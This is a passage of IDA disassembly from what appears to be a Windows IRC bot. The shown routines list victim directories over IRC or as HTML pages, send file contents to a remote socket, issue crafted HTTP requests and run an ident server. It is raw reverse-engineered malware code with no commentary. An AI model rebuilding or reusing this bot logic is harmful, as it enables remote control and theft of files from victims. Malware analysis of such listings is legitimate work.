loc_40F75D:				; CODE XREF: sub_40F6B3+7Aj
					; sub_40F6B3+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76D
		push	5Ch
		pop	eax
		jmp	short loc_40F770
; ---------------------------------------------------------------------------


loc_40F76D:				; CODE XREF: sub_40F6B3+B3j
		movsx	eax, al


loc_40F770:				; CODE XREF: sub_40F6B3+B8j
		mov	[ebp+ebx+var_210], al


loc_40F777:				; CODE XREF: sub_40F6B3+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71D


loc_40F78D:				; CODE XREF: sub_40F6B3+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429A98
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_42A06C ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	dword_427098	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DE
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E1
		push	[ebp+arg_0]
		jmp	loc_40F861
; ---------------------------------------------------------------------------


loc_40F7DE:				; CODE XREF: sub_40F6B3+11Cj
		mov	[ebp+var_4], esi


loc_40F7E1:				; CODE XREF: sub_40F6B3+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EE
		mov	[ebp+var_4], esi


loc_40F7EE:				; CODE XREF: sub_40F6B3+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86C
		cmp	[ebp+arg_C], edi
		jz	short loc_40F860
		lea	eax, [ebp+var_314]
		push	offset asc_434170 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AD
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BB
; ---------------------------------------------------------------------------


loc_40F860:				; CODE XREF: sub_40F6B3+152j
		push	ebx


loc_40F861:				; CODE XREF: sub_40F6B3+126j
		call	dword_4CB6CC	; closesocket
		jmp	loc_40F963
; ---------------------------------------------------------------------------


loc_40F86C:				; CODE XREF: sub_40F6B3+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	dword_4270EC	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BB
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	dword_427108	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	dword_427068	; CloseHandle


loc_40F8BB:				; CODE XREF: sub_40F6B3+1ABj
					; sub_40F6B3+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_43413C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E574[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F530
		push	edi
		push	edi
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E584[ecx], eax
		jz	short loc_40F935


loc_40F923:				; CODE XREF: sub_40F6B3+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F963
		push	5
		call	dword_427078	; Sleep
		jmp	short loc_40F923
; ---------------------------------------------------------------------------


loc_40F935:				; CODE XREF: sub_40F6B3+26Ej
		push	ebx
		call	dword_4CB6CC	; closesocket
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_434104
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_40F963:				; CODE XREF: sub_40F6B3+1B4j
					; sub_40F6B3+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96A	proc near		; CODE XREF: sub_401ACD+777Ap
					; sub_40F530+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_42A06C ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9C9
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC8
; ---------------------------------------------------------------------------


loc_40F9C9:				; CODE XREF: sub_40F96A+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAE
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB684	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB684	; send
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB684	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC8
; ---------------------------------------------------------------------------


loc_40FAAE:				; CODE XREF: sub_40F96A+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_40FAC8:				; CODE XREF: sub_40F96A+5Aj
					; sub_40F96A+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB684	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB14


loc_40FB08:				; CODE XREF: sub_40F96A+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB14
		dec	eax
		jnz	short loc_40FB08


loc_40FB14:				; CODE XREF: sub_40F96A+19Cj
					; sub_40F96A+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB684	; send


loc_40FB63:				; CODE XREF: sub_40F96A+180j
					; sub_40F96A+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	dword_427000	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	dword_427118	; FindNextFileA
		test	eax, eax
		jz	loc_40FF53
		mov	edi, 1FFh


loc_40FB8F:				; CODE XREF: sub_40F96A+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	dword_427114	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_427110	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC04
		mov	ecx, offset aAm	; "AM"


loc_40FC04:				; CODE XREF: sub_40F96A+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC10
		sub	eax, 0Ch


loc_40FC10:				; CODE XREF: sub_40F96A+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB3
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC84
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFC
; ---------------------------------------------------------------------------


loc_40FC84:				; CODE XREF: sub_40F96A+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6E
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB684	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_1	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB684	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD24
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD29
; ---------------------------------------------------------------------------


loc_40FD24:				; CODE XREF: sub_40F96A+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40FD29:				; CODE XREF: sub_40F96A+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB684	; send
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------


loc_40FD6E:				; CODE XREF: sub_40F96A+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------


loc_40FDB3:				; CODE XREF: sub_40F96A+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF2
		push	ebx
		push	[ebp+var_368]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_40FDDE:				; CODE XREF: sub_40F96A+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------


loc_40FDF2:				; CODE XREF: sub_40F96A+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE6
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB684	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429A98
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB684	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE92
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE97
; ---------------------------------------------------------------------------


loc_40FE92:				; CODE XREF: sub_40F96A+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40FE97:				; CODE XREF: sub_40F96A+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB684	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDE
; ---------------------------------------------------------------------------


loc_40FEE6:				; CODE XREF: sub_40F96A+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_40FEFC:				; CODE XREF: sub_40F96A+315j
		push	esi


loc_40FEFD:				; CODE XREF: sub_40F96A+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h


loc_40FF0C:				; CODE XREF: sub_40F96A+444j
					; sub_40F96A+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB684	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3B
		push	7D0h
		call	dword_427078	; Sleep


loc_40FF3B:				; CODE XREF: sub_40F96A+22Bj
					; sub_40F96A+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	dword_427118	; FindNextFileA
		test	eax, eax
		jnz	loc_40FB8F


loc_40FF53:				; CODE XREF: sub_40F96A+21Aj
		push	[ebp+arg_0]
		call	dword_42710C	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF96
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------


loc_40FF96:				; CODE XREF: sub_40F96A+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB0
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------


loc_40FFB0:				; CODE XREF: sub_40F96A+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40FFCA:				; CODE XREF: sub_40F96A+62Aj
					; sub_40F96A+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB684	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF0	proc near		; CODE XREF: sub_40F530+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	dword_4270EC	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A8
		push	esi
		push	ebx
		call	dword_427108	; GetFileSize
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A1


loc_410035:				; CODE XREF: sub_40FFF0+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_410052
		mov	edi, [ebp+arg_4]


loc_410052:				; CODE XREF: sub_40FFF0+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	dword_42711C	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	dword_4270E8	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB684	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009C
		call	dword_4CB5C8	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_4100A1
		xor	eax, eax


loc_41009C:				; CODE XREF: sub_40FFF0+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410035


loc_4100A1:				; CODE XREF: sub_40FFF0+43j
					; sub_40FFF0+A8j
		push	ebx
		call	dword_427068	; CloseHandle


loc_4100A8:				; CODE XREF: sub_40FFF0+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AD	proc near		; CODE XREF: sub_40F6B3+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D6


loc_4100C0:				; CODE XREF: sub_4100AD+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CA
		mov	byte ptr [esi+edi], 2Fh


loc_4100CA:				; CODE XREF: sub_4100AD+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C0


loc_4100D6:				; CODE XREF: sub_4100AD+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DB	proc near		; CODE XREF: sub_401ACD+5297p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB5A4	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_4CB6B4	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CB634	; htons
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AAF9
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5DC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B8
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410154
		mov	eax, offset byte_43D7E8


loc_410154:				; CODE XREF: sub_4100DB+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CB684	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB64C	; recv
		pop	esi


loc_4101B8:				; CODE XREF: sub_4100DB+6Bj
		push	ebx
		call	dword_4CB6CC	; closesocket
		call	dword_4CB58C	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F8
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_4101F8:				; CODE XREF: sub_4100DB+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4101FC	proc near		; DATA XREF: sub_401221+445o
					; sub_401ACD+4369o

var_238		= byte ptr -238h
var_38		= byte ptr -38h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		mov	[ebp+var_8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	71h
		call	dword_4CB634	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_1A], ax
		mov	[ebp+var_18], esi
		call	dword_4CB6B4	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410360
		mov	eax, [ebp+arg_0]
		push	edi
		imul	eax, 234h
		mov	dword_43E57C[eax], ebx
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		call	dword_4CB660	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		push	5
		push	ebx
		call	dword_4CB65C	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		mov	[ebp+var_C], edi
		mov	edi, 200h


loc_410287:				; CODE XREF: sub_4101FC+EAj
					; sub_4101FC+14Dj ...
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		call	dword_4CB6C8	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41035B
		movzx	eax, [ebp+var_2A]
		push	eax
		push	[ebp+var_28]
		call	dword_4CB6C0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_238]
		push	offset dword_43465C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		lea	eax, [ebp+var_238]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_4CB64C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410287
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		call	sub_417F7F
		push	0Ch
		lea	eax, [ebp+var_38]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp+var_38]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp+var_238]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
